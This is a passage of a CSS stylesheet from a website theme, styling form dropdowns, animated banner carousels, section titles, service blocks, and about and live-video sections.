width: 100%; font-size: 14px; font-style: normal; height: 70px; padding: 14px 30px; line-height: 40px; font-family: var(--thm-b-font); color: var(--thm-text); border-radius: 7px; background-color: #f4f5f8; border: 1px solid #f4f5f8; } .form-group .ui-button .ui-icon { background: none; position: relative; top: 10px; text-indent: 0px; color: var(--thm-black); } .form-group .ui-button .ui-icon:before { font-family: "Font Awesome 5 Free"; content: "\f107"; position: absolute; right: 0px; top: 0px !important; width: 15px; height: 30px; display: block; color: var(--thm-black); line-height: 20px; font-size: 16px; font-weight: 900; text-align: center; z-index: 5; } .ui-widget.ui-widget-content { background: #f4f5f8; border: 1px solid #e9ebee; border-top: none; font-family: var(--thm-font); border-radius: 0; padding: 0; } .ui-menu .ui-menu-item { font-size: 20px; border-bottom: 1px solid #e9ebee; } .ui-menu .ui-menu-item:last-child { border: none; } .ui-menu .ui-menu-item-wrapper { position: relative; display: block; padding: 14px 30px !important; font-size: 20px; letter-spacing: 0.02em; line-height: 30px; transition: all 300ms ease; } .ui-menu .ui-menu-item-wrapper:hover, .ui-menu .ui-menu-item-wrapper.ui-state-active { background: var(--thm-base); margin: 0; } /*** ==================================================================== 10. Banner Section ==================================================================== ***/ .banner-section { position: relative; z-index: 1; } .banner-section .bg-image { position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-position: center top; background-size: cover; z-index: 1; } .banner-section .left-based-text { position: absolute; left: 50px; top: 50px; bottom: 50px; color: #ffffff; font-size: 16px; text-transform: uppercase; line-height: 24px; letter-spacing: 0.1em; font-weight: 500; z-index: 10; font-family: var(--thm-font); } .banner-section .left-based-text .base-inner { position: absolute; left: 0; bottom: 0; width: 730px; height: 24px; transform-origin: left bottom; transform: rotate(-90deg); } .banner-section .left-based-text .social-links { position: absolute; left: 0; top: 0; } .banner-section .left-based-text .social-links ul li { float: left; margin-right: 35px; } .banner-section .left-based-text .social-links ul li a { position: relative; display: block; color: #ffffff; transition: all 500ms ease; } .banner-section .left-based-text .social-links ul li a:before { content: ""; position: absolute; left: 0; bottom: -3px; width: 100%; border-bottom: 2px solid var(--thm-base); transform: scaleX(0); transition: all 500ms ease; } .banner-section .left-based-text .social-links ul li a:hover:before { transform: scale(1); } .banner-section .left-based-text .hours { position: absolute; right: 0; top: 0; } .banner-section .left-based-text .hours ul li { float: left; margin-left: 35px; } .banner-three .left-based-text .social-links ul li a, .banner-three .left-based-text .hours ul li { color: var(--thm-black); } .banner-section .left-based-text .social-links ul li a:before { border-bottom-color: var(--thm-black); } .banner-carousel { position: relative; z-index: 1; } .banner-carousel .slide-item { position: relative; display: block; background-color: var(--thm-black); color: #ffffff; overflow: hidden; } .banner-three .banner-carousel .slide-item { background: none; } .banner-carousel .slide-item:before { content: ""; position: absolute; left: 0; top: 0; width: 100%; height: 100%; background-color: var(--thm-black); opacity: 0.6; z-index: 1; } .banner-two .banner-carousel .slide-item::after { content: ""; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-image: url(../images/main-slider/slide-2-pattern-1.png); z-index: 10; } .banner-two .banner-carousel .slide-item:before { opacity: 0.8; } .banner-three .banner-carousel .slide-item:before { display: none; } .banner-carousel .slide-item .left-top-line { position: absolute; left: 0; top: 0; width: 350px; max-width: 100%; height: 100%; background: url(../images/main-slider/left-curve-line.png) left top no-repeat; z-index: 2; opacity: 0; transform: translateY(-100%); } .banner-carousel .active .left-top-line { opacity: 1; transform: translate(0); transition: all 1000ms ease; transition-delay: 200ms; } .banner-carousel .slide-item .right-bottom-curve { position: absolute; right: 0; top: 0; width: 655px; max-width: 100%; height: 100%; background: url(../images/main-slider/right-curved-bg.png) right bottom no-repeat; z-index: 2; opacity: 0; transform: translateX(700px); } .banner-carousel .active .right-bottom-curve { opacity: 1; transform: translate(0); transition: all 1000ms ease; transition-delay: 1300ms; } .banner-carousel .slide-item .right-top-curve { position: absolute; right: 0; top: 0; width: 164px; max-width: 100%; height: 100%; background: url(../images/main-slider/right-white-curve.png) right top no-repeat; z-index: 2; opacity: 0; transform: translateX(200px); } .banner-carousel .active .right-top-curve { opacity: 1; transform: translate(0); transition: all 1000ms ease; transition-delay: 1800ms; } .banner-carousel .slide-item .round-shape-1 { position: absolute; left: -500px; bottom: -500px; width: 1000px; height: 1000px; background: rgba(255, 255, 255, 0.2); border-radius: 50%; z-index: 2; opacity: 0; transform: translateY(100%); } .banner-carousel .active .round-shape-1 { opacity: 1; transform: translate(0); transition: all 1000ms ease; transition-delay: 1500ms; } .banner-carousel .slide-item .shape-1 { position: absolute; left: 0; top: 0; width: 570px; max-width: 100%; height: 810px; background: url(../images/main-slider/b-2-shape-1.png) left top no-repeat; z-index: 2; opacity: 0; transform: translateY(-100%); } .banner-carousel .active .shape-1 { opacity: 1; transform: translate(0); transition: all 1000ms ease; transition-delay: 200ms; } .banner-carousel .slide-item .shape-2 { position: absolute; left: 0; bottom: 55px; width: 333px; max-width: 100%; height: 366px; background: url(../images/main-slider/b-2-shape-2.png) left bottom no-repeat; z-index: 2; opacity: 0; transform: translateX(-500px); } .banner-carousel .active .shape-2 { opacity: 1; transform: translate(0); transition: all 1000ms ease; transition-delay: 500ms; } .banner-carousel .slide-item .shape-3 { position: absolute; right: 0; bottom: 0; width: 824px; max-width: 100%; height: 424px; background: url(../images/main-slider/b-2-shape-3.png) right bottom no-repeat; z-index: 2; opacity: 0; transform: translateX(900px); } .banner-carousel .active .shape-3 { opacity: 1; transform: translate(0); transition: all 1000ms ease; transition-delay: 1800ms; } .banner-carousel .slide-item .shape-4 { position: absolute; right: 0; top: 0; width: 218px; max-width: 100%; height: 571px; background: url(../images/main-slider/b-2-shape-4.png) right top no-repeat; z-index: 2; opacity: 0; transform: translateX(200px); } .banner-carousel .active .shape-4 { opacity: 1; transform: translate(0); transition: all 1000ms ease; transition-delay: 2500ms; } .banner-carousel .slide-item .shape-5 { position: absolute; right: 0; top: 0; width: 306px; max-width: 100%; height: 904px; background: url(../images/main-slider/b-2-shape-5.png) right top no-repeat; z-index: 2; opacity: 0; transform: translateY(-1000px); } .banner-carousel .active .shape-5 { opacity: 1; transform: translate(0); transition: all 1500ms ease; transition-delay: 2700ms; } .banner-carousel .slide-item .shape-6 { position: absolute; right: 0; top: 0; width: 100%; max-width: 100%; height: 100%; background: url(../images/main-slider/b-2-shape-6.png) center center no-repeat; z-index: 3; opacity: 0; transform: scale(0); } .banner-carousel .active .shape-6 { opacity: 1; transform: scale(1); transition: all 1500ms ease; transition-delay: 2700ms; } .banner-carousel .slide-item .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; opacity: 1; z-index: 0; background-repeat: no-repeat; background-position: center center; background-size: cover; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); transform: scale(1); } .banner-carousel .active .slide-item .image-layer { transform: scale(1.15); transition: all 7000ms linear; } .banner-carousel .content-box { position: relative; display: table; vertical-align: middle; width: 100%; height: 950px; padding: 0 0px; z-index: 11; } .banner-carousel .content-box .content { position: relative; display: table-cell; vertical-align: middle; padding: 150px 0px 50px; } .banner-carousel .content-box .inner { position: relative; display: block; max-width: 800px; } .banner-two .banner-carousel .content-box .inner { max-width: 820px; margin: 0 auto; text-align: center; } .banner-three .banner-carousel .content-box .inner { max-width: 550px; } .banner-carousel .content-box .sub-title { display: block; font-size: 24px; line-height: 1.5em; color: #ffffff; font-weight: 400; text-transform: uppercase; letter-spacing: 0.05em; margin-bottom: 20px; opacity: 0; transform: translateY(80px); font-family: var(--thm-font); } .banner-carousel .active .content-box .sub-title { opacity: 1; transform: translate(0); transition: all 700ms ease; transition-delay: 800ms; } .banner-carousel .content-box h1 { display: block; font-size: 140px; line-height: 0.85em; color: #ffffff; font-weight: 600; opacity: 0; text-transform: uppercase; letter-spacing: 0; margin: 0; transform: translateY(80px); } .banner-two .banner-carousel .content-box h1 { text-transform: capitalize; } .banner-three .banner-carousel .content-box h1 { font-size: 120px; color: var(--thm-black); font-weight: 500; } .banner-carousel .active .content-box h1 { opacity: 1; transform: translate(0); transition: all 1000ms ease; transition-delay: 1300ms; } .banner-three .banner-carousel .active .content-box h1 { transition-delay: 700ms; } .banner-carousel .content-box .text { position: relative; color: var(--thm-black); margin: 5px 0 0; opacity: 0; transform: translateY(80px); } .banner-carousel .active .content-box .text { opacity: 1; transform: translate(0); transition: all 700ms ease; transition-delay: 1200ms; } .banner-carousel .content-box .link-box { position: relative; display: block; padding-top: 50px; opacity: 0; transform: translateY(50px); } .banner-three .banner-carousel .content-box .link-box { padding-top: 45px; } .banner-carousel .active .content-box .link-box { opacity: 1; transform: translate(0); transition: all 700ms ease; transition-delay: 1800ms; } .banner-carousel .slide-item .round-image { position: absolute; right: -200px; top: -100px; width: 850px; height: 850px; border-radius: 50%; z-index: 2; } .banner-carousel .slide-item .round-image .image { position: absolute; left: 0; top: 0; width: 850px; height: 850px; background-size: cover; background-position: left top; border-radius: 50%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); z-index: 2; opacity: 0; transform: translateX(100%); overflow: hidden; } .banner-carousel .slide-item .round-image .image::before { content: ""; position: absolute; opacity: 0.5; background-color: var(--thm-black); top: 0; left: 0; right: 0; bottom: 0; border-radius: 50%; } .banner-carousel .active .round-image .image { opacity: 1; transform: translate(0); transition: all 1000ms ease; transition-delay: 200ms; } .banner-carousel .slide-item .round-image:before { content: ""; position: absolute; left: -100px; bottom: 120px; width: 100%; height: 100%; background: var(--thm-black); border-radius: 50%; z-index: 1; opacity: 0; transform: translateX(100%); } .banner-carousel .active .round-image:before { opacity: 0.1; transform: translate(0); transition: all 1000ms ease; transition-delay: 700ms; } .banner-carousel .slide-item .round-image:after { content: ""; position: absolute; left: -100px; bottom: -50px; width: 330px; height: 330px; background: url(../images/main-slider/b-3-shape.png) center center no-repeat; z-index: 3; opacity: 0; transform: translateY(100%); } .banner-carousel .active .round-image:after { opacity: 1; transform: translate(0); transition: all 1000ms ease; transition-delay: 1000ms; } .banner-carousel .owl-nav { position: absolute; left: 50%; margin-left: -600px; top: 50%; width: 1200px; height: 110px; text-align: right; } .banner-carousel .owl-nav .owl-next, .banner-carousel .owl-nav .owl-prev { position: absolute; top: 0; right: 0; width: 50px; height: 50px; background: #ffffff !important; padding: 0; margin: 0; line-height: 50px; text-align: center; opacity: 0.2; border-radius: 50%; transition: all 500ms ease; } .banner-carousel .owl-nav .owl-next { top: auto; bottom: 0; } .banner-carousel .owl-nav .owl-next span, .banner-carousel .owl-nav .owl-prev span { vertical-align: middle; } .banner-carousel .owl-nav .owl-next:hover, .banner-carousel .owl-nav .owl-prev:hover { opacity: 1; } .banner-section .owl-dots { position: absolute; left: 0; bottom: 50px; width: 100%; text-align: center; display: none; } .banner-two .owl-nav, .banner-three .owl-nav { display: none; } .banner-three { background-color: var(--thm-base); } .banner-three .bg-image { opacity: 0.03; } .banner-two .owl-dots { display: block; } .banner-section .owl-theme .owl-dots .owl-dot { position: relative; display: inline-block; vertical-align: top; margin: 0px 3px; } .banner-section .owl-theme .owl-dots .owl-dot span { position: relative; display: block; width: 10px; height: 10px; border: 5px solid rgba(255, 255, 255, 0.2); border-radius: 50%; } .banner-section .owl-theme .owl-dots .owl-dot.active span { background: none; border-width: 2px; border-color: var(--thm-base); } /* banner one page */ .banner-one-page { margin-top: 117px; } .banner-one-page .banner-carousel .content-box .inner { max-width: 100%; } .banner-one-page .banner-carousel .content-box { height: 600px; } @media (min-width: 992px) { .banner-one-page .banner-carousel .content-box { height: 860px; } } .banner-one-page .banner-carousel .content-box h1 { font-size: 46px; color: var(--thm-base); } .banner-one-page .banner-carousel .content-box h1 span { color: #fff; font-weight: 300; } @media (min-width: 600px) { .banner-one-page .banner-carousel .content-box h1 { font-size: 60px; } } @media (min-width: 768px) { .banner-one-page .banner-carousel .content-box h1 { font-size: 80px; } } @media (min-width: 992px) { .banner-one-page .banner-carousel .content-box h1 { font-size: 100px; } } @media (min-width: 1200px) { .banner-one-page .banner-carousel .content-box h1 { font-size: 150px; } } .banner-one-page .banner-carousel .content-box .link-box { display: flex; align-items: center; justify-content: center; } .banner-one-page .banner-carousel .content-box .content { padding-top: 0; padding-bottom: 0; } .banner-one-page .banner-carousel .vid-link { width: 70px; height: 70px; line-height: 70px; text-align: center; font-size: 20px; color: #ffffff; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; z-index: 3; margin-left: 15px; } @media (min-width: 376px) { .banner-one-page .banner-carousel .vid-link { margin-left: 30px; } } .banner-one-page .banner-carousel .vid-link .icon { position: relative; display: block; width: 70px; height: 70px; line-height: 70px; text-align: center; font-size: 16px; color: var(--thm-black); background: #fff; border-radius: 50%; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .banner-one-page .banner-carousel .vid-link a:hover .icon { background: var(--thm-black); color: var(--thm-base); } .banner-one-page .banner-carousel .vid-link .ripple, .banner-one-page .banner-carousel .vid-link .ripple:before, .banner-one-page .banner-carousel .vid-link .ripple:after { position: absolute; top: 50%; left: 50%; width: 70px; height: 70px; border-radius: 50%; -ms-border-radius: 50%; transform: translate(-50%, -50%); -ms-box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); -o-box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); box-shadow: 0 0 0 0 rgba(var(--thm-base-rgb), 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } .banner-one-page .banner-carousel .vid-link .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } .banner-one-page .banner-carousel .vid-link .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } .banner-one-page .banner-carousel .content-box .link-box { padding-top: 30px; } .banner-one-page .banner-carousel .owl-nav { width: 100%; left: 0; margin-left: 0; display: none; justify-content: space-between; align-items: center; padding-left: 15px; padding-right: 15px; } @media (min-width: 376px) { .banner-one-page .banner-carousel .owl-nav { padding-left: 20px; padding-right: 20px; } } @media (min-width: 768px) { .banner-one-page .banner-carousel .owl-nav { display: flex; } .banner-one-page .banner-carousel .owl-nav { padding-left: 30px; padding-right: 30px; } } @media (min-width: 992px) { .banner-one-page .banner-carousel .owl-nav { padding-left: 60px; padding-right: 60px; } } .banner-one-page .banner-carousel .owl-nav .owl-next, .banner-one-page .banner-carousel .owl-nav .owl-prev { position: relative; top: auto; right: auto; } /* banner four */ .banner-section-four { position: relative; margin-top: 44px; } .banner-section-four .swiper-slide::before { content: ""; position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-image: url(../images/update-1-12-2020/shapes/menu-top-shadow.png); background-repeat: no-repeat; background-position: top center; z-index: 10; } .banner-section-four .swiper-slide { position: relative; } .banner-section-four .swiper-slide .image-layer { position: absolute; top: 0; left: 0; right: 0; bottom: 0; background-repeat: no-repeat; background-size: cover; transform: scale(1); background-position: center; transition: transform 7000ms ease; } .banner-section-four .swiper-slide-active .image-layer { transform: scale(1.15); } .banner-section-four .auto-container { padding-top: 350px; padding-bottom: 200px; position: relative; z-index: 22; } .banner-section-four h2 { margin: 0; font-weight: bold; color: #fff; font-size: 80px; line-height: 90px; opacity: 0; visibility: hidden; transform: translateY(110px); transition-delay: 1000ms; transition: transform 2000ms ease, opacity 2000ms ease; } .banner-section-four p { margin: 0; font-size: 20px; line-height: 36px; font-weight: 500; color: rgba(255, 255, 255, 0.7); opacity: 0.7; margin-top: 40px; margin-bottom: 50px; opacity: 0; transform: translateY(100px); transition-delay: 2500ms; transition: transform 2000ms ease, opacity 2000ms ease, color 500ms ease, background 500ms ease; } .banner-section-four .btn-style-three { min-width: 220px; justify-content: center; align-items: center; text-align: center; opacity: 0; transform: translateY(100px); transition-delay: 2500ms; transition: transform 2000ms ease, opacity 2000ms ease, color 500ms ease, background 500ms ease; } .banner-section-four .btn-style-three:hover { background-color: #fff; color: var(--thm-black); } .banner-section-four .swiper-slide-active .btn-style-three, .banner-section-four .swiper-slide-active h2, .banner-section-four .swiper-slide-active p { visibility: visible; opacity: 1; transform: translateY(0) translateX(0); } .banner-section-four__nav { width: 100%; max-width: 1200px; padding-left: 15px; padding-right: 15px; position: absolute; top: 50%; left: 50%; z-index: 100; transform: translateY(-50%) translateX(-50%); display: flex; align-items: flex-end; flex-direction: column; z-index: 21; } @media (max-width: 425px) { .banner-section-four__nav { display: none; } } .banner-section-four__nav .swiper-button-next, .banner-section-four__nav .swiper-button-prev { position: relative; top: auto; left: auto; right: auto; bottom: auto; z-index: 100; width: 50px; height: 50px; display: flex; justify-content: center; align-items: center; font-size: 20px; color: #222429; background-color: #fff; border-radius: 50%; opacity: 0.3; margin: 0; text-align: center; transition: all 500ms ease; } @media (max-width: 991px) { .banner-section-four__nav .swiper-button-next, .banner-section-four__nav .swiper-button-prev { width: 48px; height: 48px; font-size: 18px; } } .banner-section-four__nav .swiper-button-next:hover, .banner-section-four__nav .swiper-button-prev:hover { opacity: 1; } .banner-section-four__nav .swiper-button-next::after, .banner-section-four__nav .swiper-button-prev::after { display: none; } .banner-section-four__nav .swiper-button-prev { margin-bottom: 10px; } @media (max-width: 991px) { .banner-section-four__nav .swiper-button-prev { margin-top: 10px; } } .banner-four { margin-top: 76px; padding-top: 80px; padding-bottom: 80px; position: relative; } @media (min-width: 992px) { .banner-four { margin-top: 120px; padding-top: 120px; padding-bottom: 120px; } } @media (min-width: 1200px) { .banner-four { padding-top: 185px; padding-bottom: 200px; } } .banner-four__title { margin: 0; color: var(--thm-black); font-size: 40px; font-weight: 500; } @media (min-width: 768px) { .banner-four__title { font-size: 60px; } } @media (min-width: 1200px) { .banner-four__title { font-size: 80px; } } .banner-four__title br { display: none; } @media (min-width: 768px) { .banner-four__title br { display: inherit; } } .banner-four__text { margin: 0; color: var(--thm-text); font-weight: 400; font-size: 20px; line-height: 1.6em; margin-top: 20px; } @media (min-width: 768px) { .banner-four__text { margin-top: 15px; font-size: 28px; } } .banner-four__text a { color: var(--thm-base); transition: all 500ms ease; } .banner-four__text a:hover { color: var(--thm-black); } .banner-four__scroll { width: 50px; height: 50px; border-radius: 50%; background-color: var(--thm-base); display: flex; justify-content: center; align-items: center; font-size: 20px; color: #fff; margin-top: 20px; transition: all 500ms ease; } @media (min-width: 768px) { .banner-four__scroll { width: 70px; height: 70px; font-size: 28px; } } @media (min-width: 1200px) { .banner-four__scroll { font-size: 34px; width: 90px; height: 90px; margin-top: 35px; } } .banner-four__scroll:hover { background-color: var(--thm-black); color: #fff; } .banner-four__social { position: absolute; top: 50%; right: 30px; transform: translateY(-50%); display: none; } .banner-four__social a { font-size: 20px; color: var(--thm-black); transition: all 500ms ease; } .banner-four__social a+a { margin-top: 30px; } .banner-four__social a:hover { color: var(--thm-base); } @media (min-width: 1200px) { .banner-four__social { display: flex; flex-direction: column; right: 90px; } } .banner-four__info { position: absolute; display: none; left: 30px; top: 67%; transform: translateY(-50%) rotate(-90deg); transform-origin: left center; } .banner-four__info span { font-size: 20px; color: var(--thm-text); font-weight: 400; } .banner-four__info span+span { margin-left: 30px; } @media (min-width: 1200px) { .banner-four__info { display: flex; left: 90px; } } /*** ==================================================================== 11. Section Title ==================================================================== ***/ .sec-title { position: relative; margin-bottom: 50px; } .sec-title.centered { max-width: 650px; margin: 0 auto; margin-bottom: 50px; } .sec-title .upper-text { position: relative; display: inline-block; line-height: 1.6em; font-size: 16px; color: #9b9fa6; font-weight: 400; margin: 0 0 20px; } .sec-title h2 { position: relative; display: block; font-size: 70px; line-height: 0.9em; text-transform: uppercase; color: var(--thm-black); font-weight: 400; margin-bottom: 0px; } .sec-title h2 strong { font-weight: 700; } .sec-title h2 .dot { color: var(--thm-base); padding-left: 7px; } .sec-title .lower-text { position: relative; display: block; font-size: 16px; line-height: 2.125em; font-weight: 400; color: var(--thm-text); padding: 30px 0px 0px; } /* section title two */ .sec-title-two { margin-bottom: 45px; } .sec-title-two p { text-transform: uppercase; margin: 0; letter-spacing: 0.1em; font-size: 14px; font-weight: 600; color: var(--thm-base); line-height: 1; } .sec-title-two h2 { margin: 0; font-size: 60px; color: var(--thm-black); font-weight: 800; } /*** ==================================================================== 12. Services Section ==================================================================== ***/ .services-section { position: relative; padding: 120px 0px 90px; background: var(--thm-black) url(../images/background/pattern-1.png) center top repeat; color: #ffffff; } .services-section .sec-title { margin-bottom: 30px; } .services-section .sec-title h2 { color: #ffffff; } .services-section .sec-title .lower-text { color: #999b9f; } .services-section .row { counter-reset: slides-num; } .services-section .row .service-block { counter-increment: slides-num; } .services-section .row .service-block .inner-box:before { content: "0"counter(slides-num) ""; position: absolute; left: 45px; top: 50px; font-size: 50px; line-height: 1em; color: #ffffff; opacity: 0.07; font-family: var(--thm-font); font-weight: 300; } .service-block { position: relative; margin-bottom: 30px; } .service-block .inner-box { position: relative; display: block; padding: 50px 45px; background: #1c1e22; min-height: 100%; border-radius: 7px; overflow: hidden; transition: all 500ms ease; } .service-block .inner-box:hover { background: var(--thm-base); } .service-block .inner-box .bottom-curve { position: absolute; right: -70px; bottom: 0; width: 100px; height: 80%; background: var(--thm-black); opacity: 0.2; z-index: 0; transform: skewX(0deg) scaleX(0); transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .service-block .inner-box:hover .bottom-curve { transform: skewX(-35deg) scaleX(1); } .service-block .inner-box .count { position: relative; display: block; font-size: 50px; line-height: 1em; color: #ffffff; opacity: 0.07; margin-bottom: 40px; } .service-block .inner-box .icon-box { position: absolute; right: 45px; top: 50px; color: var(--thm-base); font-size: 64px; line-height: 1em; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .service-block .inner-box:hover .icon-box { color: var(--thm-black); } .service-block .inner-box h6 { position: relative; margin: 0; margin-top: 90px; font-size: 20px; text-transform: uppercase; color: #ffffff; font-weight: 400; letter-spacing: 1px; line-height: 1.1em; } .service-block .inner-box h6 a { color: #ffffff; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .services-section .row .service-block .inner-box:hover:before, .service-block .inner-box:hover .count, .service-block .inner-box:hover h6, .service-block .inner-box:hover h6 a { color: var(--thm-black); } .service-block .inner-box h6 a:hover { text-decoration: underline; } /* service three block */ .service-block-three { padding-top: 90px; } .service-block-three__single { margin-top: 30px; background-color: #eff1f4; padding: 50px; display: flex; align-items: center; transition: all 500ms ease; } .service-block-three__single:hover { background-color: var(--thm-base); } .service-block-three__single .icon-box span { font-size: 64px; color: var(--thm-base); margin-right: 40px; display: block; transition: all 500ms ease; } .service-block-three__single:hover .icon-box span { color: #fff; } .service-block-three__single h6 { margin: 0; color: var(--thm-black); font-size: 20px; line-height: 34px; font-weight: bold; text-transform: capitalize; transition: all 500ms ease; } .service-block-three__single:hover h6 { color: #fff; } .service-block-three__single h6 a { color: inherit; } /*** ==================================================================== 13. About Section ==================================================================== ***/ .about-section { position: relative; padding: 120px 0px 90px; background: #ffffff; } .about-section:before { content: ""; position: absolute; left: 0; top: 0; margin-left: -410px; width: 50%; height: 100%; background: #f4f5f8; } .about-section .image-column { position: relative; margin-bottom: 30px; } .about-section .image-column .inner { position: relative; display: block; } .about-section .image-column .inner:before { content: ""; position: absolute; left: 0; width: 15px; height: 280px; background: var(--thm-base); border-radius: 8px; } .about-section .image-column .image-block { position: relative; display: block; border-radius: 7px; overflow: hidden; } .about-section .image-column .image-block img { display: block; width: 100%; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); border-radius: 7px; } .about-section .image-column .image-block:nth-child(1) { margin-left: 110px; } .about-section .image-column .image-block:nth-child(2) { margin-right: 140px; margin-top: -170px; } .about-section .text-column { position: relative; margin-bottom: 30px; } .about-section .text-column .inner { position: relative; display: block; padding-left: 60px; } .about-section .text-column .sec-title { margin-bottom: 35px; } .about-section .text-column .sec-title .lower-text { text-transform: uppercase; font-size: 26px; font-weight: 300; letter-spacing: 0; font-family: var(--thm-font); color: var(--thm-base); line-height: 34px; } .about-section .text-column .text { position: relative; font-size: 16px; font-weight: 400; line-height: 2.125em; font-family: var(--thm-b-font); } .about-section .text-column .text p { margin-bottom: 32px; line-height: 2.125em; } .about-section .text-column .text ul { position: relative; float: left; } .about-section .text-column .text ul li { position: relative; line-height: 1.7em; margin-bottom: 10px; padding-left: 35px; } .about-section .text-column .text ul li:before { content: "\f107"; font-family: "Flaticon"; position: absolute; left: 0; top: -1px; color: var(--thm-base); font-weight: 400; } .about-section .text-column .text .since { position: relative; float: left; margin-left: 82px; margin-top: 10px; } .about-section .text-column .text .since:before { content: ""; position: absolute; left: -10px; top: 0px; width: 80px; height: 80px; background: #e8e9e9; border-radius: 50%; } .about-section .text-column .text .since:after { content: ""; position: absolute; left: -42px; top: 0px; bottom: 0px; border-left: 2px solid var(--thm-base); } .about-section .text-column .text .since .txt { position: relative; display: block; padding: 21px 5px; width: 90px; height: 90px; line-height: 24px; text-align: center; background: var(--thm-black); text-transform: uppercase; color: #ffffff; border-radius: 50%; font-family: var(--thm-font); font-size: 20px; padding-top: 24px; } .about-section .text-column .link-box { padding-top: 30px; } /*** ==================================================================== 14. Live Section ==================================================================== ***/ .live-section { position: relative; padding: 120px 0px 0px; background: #ffffff; border-top: 1px solid rgba(0, 0, 0, 0.05); } .live-section__one-page { border-top: 0; } .live-section .main-image-box { position: relative; display: block; overflow: hidden; margin-bottom: -120px; z-index: 1; } .live-section .main-image-box .image-layer { position: absolute; left: 0; top: 0; width: 100%; height: 100%; opacity: 1; background-repeat: no-repeat; background-position: center center; background-size: cover; -webkit-filter: grayscale(100%); -ms-filter: grayscale(100%); -moz-filter: grayscale(100%); filter: grayscale(100%); } .live-section .main-image-box .inner { position: relative; padding: 20px 0px; } .live-section .main-image-box .round-box { position: relative; display: block; float: right; right: -25px; width: 490px; height: 490px; border-radius: 50%; } .live-section .main-image-box .round-box:before { content: ""; position: absolute; left: -65px; top: -45px; width: 490px; height: 490px; background: var(--thm-black); opacity: 0.2; border-radius: 50%; } .live-section .main-image-box .round-inner { position: relative; display: block; width: 490px; height: 490px; padding: 190px 80px 50px 70px; background: var(--thm-base); border-radius: 50%; } .live-section .main-image-box .vid-link { position: absolute; left: 55px; top: 25px; width: 84px; height: 84px; line-height: 84px; text-align: center; font-size: 20px; color: #ffffff; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .live-section .main-image-box .vid-link .icon { position: relative; display: block; width: 84px; height: 84px; line-height: 84px; text-align: center; font-size: 20px; color: #ffffff; background: var(--thm-black); border-radius: 50%; transition: all 0.5s ease; -moz-transition: all 0.5s ease; -webkit-transition: all 0.5s ease; -ms-transition: all 0.5s ease; -o-transition: all 0.5s ease; } .live-section .main-image-box .vid-link a:hover .icon { background: #ffffff; color: var(--thm-base); } .live-section .main-image-box .vid-link .icon:before { content: ""; position: absolute; left: -8px; top: -8px; right: -8px; bottom: -8px; border: 1px solid rgba(0, 0, 0, 0.3); border-radius: 50%; } .live-section .main-image-box .vid-link .ripple, .live-section .main-image-box .vid-link .ripple:before, .live-section .main-image-box .vid-link .ripple:after { position: absolute; top: 50%; left: 50%; width: 100px; height: 100px; border-radius: 50%; -ms-border-radius: 50%; transform: translate(-50%, -50%); -ms-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -o-box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); box-shadow: 0 0 0 0 rgba(255, 255, 255, 0.6); -webkit-animation: ripple 3s infinite; animation: ripple 3s infinite; } .live-section .main-image-box .vid-link .ripple:before { -webkit-animation-delay: 0.9s; animation-delay: 0.9s; content: ""; position: absolute; } .live-section .main-image-box .vid-link .ripple:after { -webkit-animation-delay: 0.6s; animation-delay: 0.6s; content: ""; position: absolute; } @-webkit-keyframes ripple { 70% { box-shadow: 0 0 0 40px rgba(255, 255, 255, 0); } 100% { box-shadow: 0 0 0 0 rgba(255, 255, 255, 0); } } @keyframes ripple { 70% { box-shadow: 0 0 0 40px rgba(255, 255, 255, 0); } 100% { box-shadow: 0 0 0 0 rgba(255, 255, 255, 0); } } .live-section .main-image-box .title { position: relative; } .live-section .main-image-box .title h3 { text-transform: uppercase; line-height: 1em; } .live-section .main-image-box .more-link { position: relative; text-align: right; } .live-section .main-image-box .more-link a { position: relative; display: inline-block; padding-bottom: 2px; vertical-align: top; color: var(--thm-black); font-size: 20px; font-weight: 400; letter-spacing: 1px; text-transform: uppercase; font-family: var(--thm-font); transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; line-height: 1.25em; } .live-section .main-image-box .more-link a:hover { color: rgba(0, 0, 0, 0.3); } .live-section .main-image-box .more-link a:before { content: ""; position: absolute; left: 0; bottom: 0; width: 100%; border-bottom: 2px solid var(--thm-black); transition: all 0.3s ease; -moz-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; -ms-transition: all 0.3s ease; -o-transition: all 0.3s ease; } .live-section .main-image-box .more-link a:hover:before { border-color: rgba(0, 0, 0, 0.3); transform: scaleX(0.5); } /* live section two */ .live-section-two { padding-top: 120px; padding-bottom: 120px; background-color: #18212e; } .live-section-two .jarallax-img { filter: grayscale(100%); opacity: 0.25; } 